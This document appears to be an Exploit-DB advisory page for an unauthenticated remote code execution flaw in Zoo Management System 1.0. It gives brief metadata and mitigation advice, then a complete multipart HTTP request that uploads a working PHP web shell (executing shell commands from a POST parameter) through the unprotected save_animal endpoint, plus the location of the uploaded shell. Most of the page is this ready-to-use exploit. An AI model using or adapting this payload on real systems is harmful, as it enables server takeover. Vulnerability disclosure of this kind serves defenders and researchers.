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vendor:
Zoo Management System
by:
Çağatay Ceyhan
6.1
CVSS
HIGH
Unauthenticated Remote Code Execution
284
CWE
Product Name: Zoo Management System
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:zoo_management_system:zoo_management_system:1.0
Metasploit:
Other Scripts:
Platforms Tested: Windows
2023

Zoo Management System 1.0 – Unauthenticated Remote Code Execution

Unauthenticated users can exploit the Zoo Management System 1.0 by accessing the /zoomanagementsystem/admin/public_html/save_animal endpoint to upload malicious PHP files instead of animal images without any authentication.

Mitigation:

Implement proper authentication mechanisms to restrict unauthorized access to sensitive functionalities. Sanitize and validate user inputs to prevent malicious file uploads.
Source

Exploit-DB raw data:

# Exploit Title: Zoo Management System 1.0 - Unauthenticated RCE
# Date: 16.10.2023
# Exploit Author: Çağatay Ceyhan
# Vendor Homepage: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html#google_vignette
# Software Link: https://www.sourcecodester.com/download-code?nid=15347&title=Zoo+Management+System+source+code+in+PHP+with+MySQL+Database
# Version: 1.0
# Tested on: Windows 11

## Unauthenticated users can access /zoomanagementsystem/admin/public_html/save_animal address and they can upload malicious php file instead of animal picture image without any authentication.


POST /zoomanagementsystem/admin/public_html/save_animal HTTP/1.1
Host: localhost
Content-Length: 6162
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8NY8zT5dXIloiUML
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/zoomanagementsystem/admin/public_html/save_animal
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="animal_id"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_given_name"

kdkd
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_species_name"

ıdsıd
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_dob"

1552-02-05
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_gender"

m
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_avg_lifespan"

3
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="class_id"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="location_id"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_dietary_req"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_natural_habitat"

faad
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_pop_dist"

eterter
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_joindate"

5559-02-06
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_height"

2
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_weight"

3
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_description"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="images[]"; filename="ultra.php"
Content-Type: application/octet-stream

<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Web Shell</title>
    <style>
        * {
            -webkit-box-sizing: border-box;
            box-sizing: border-box;
        }

        body {
            font-family: sans-serif;
            color: rgba(0, 0, 0, .75);
        }

        main {
            margin: auto;
            max-width: 850px;
        }

        pre,
        input,
        button {
            padding: 10px;
            border-radius: 5px;
            background-color: #efefef;
        }

        label {
            display: block;
        }

        input {
            width: 100%;
            background-color: #efefef;
            border: 2px solid transparent;
        }

        input:focus {
            outline: none;
            background: transparent;
            border: 2px solid #e6e6e6;
        }

        button {
            border: none;
            cursor: pointer;
            margin-left: 5px;
        }

        button:hover {
            background-color: #e6e6e6;
        }

        .form-group {
            display: -webkit-box;
            display: -ms-flexbox;
            display: flex;
            padding: 15px 0;
        }
    </style>

</head>

<body>
    <main>
        <h1>Web Shell</h1>
        <h2>Execute a command</h2>

        <form method="post">
            <label for="cmd"><strong>Command</strong></label>
            <div class="form-group">
                <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
                       onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
                <button type="submit">Execute</button>
            </div>
        </form>

        <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
            <h2>Output</h2>
            <?php if (isset($cmd)): ?>
                <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
            <?php else: ?>
                <pre><small>No result.</small></pre>
            <?php endif; ?>
        <?php endif; ?>
    </main>
</body>
</html>
------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_med_record"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_transfer"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_transfer_reason"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_death_date"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_death_cause"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="an_incineration"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_gest_period"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_category"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="m_avg_body_temp"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_nest_const"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_clutch_size"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_wingspan"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="b_color_variant"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_body_temp"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_water_type"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="f_color_variant"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="rep_type"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="clutch_size"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="num_offspring"


------WebKitFormBoundary8NY8zT5dXIloiUML
Content-Disposition: form-data; name="submit"


------WebKitFormBoundary8NY8zT5dXIloiUML--




## After the post request sent by an attacker, the malicious file can be seen under the http://localhost/zoomanagementsystem/img/animals/. the attacker can execute arbitrary command on http://localhost/zoomanagementsystem/img/animals/ultra_1697442648.php.

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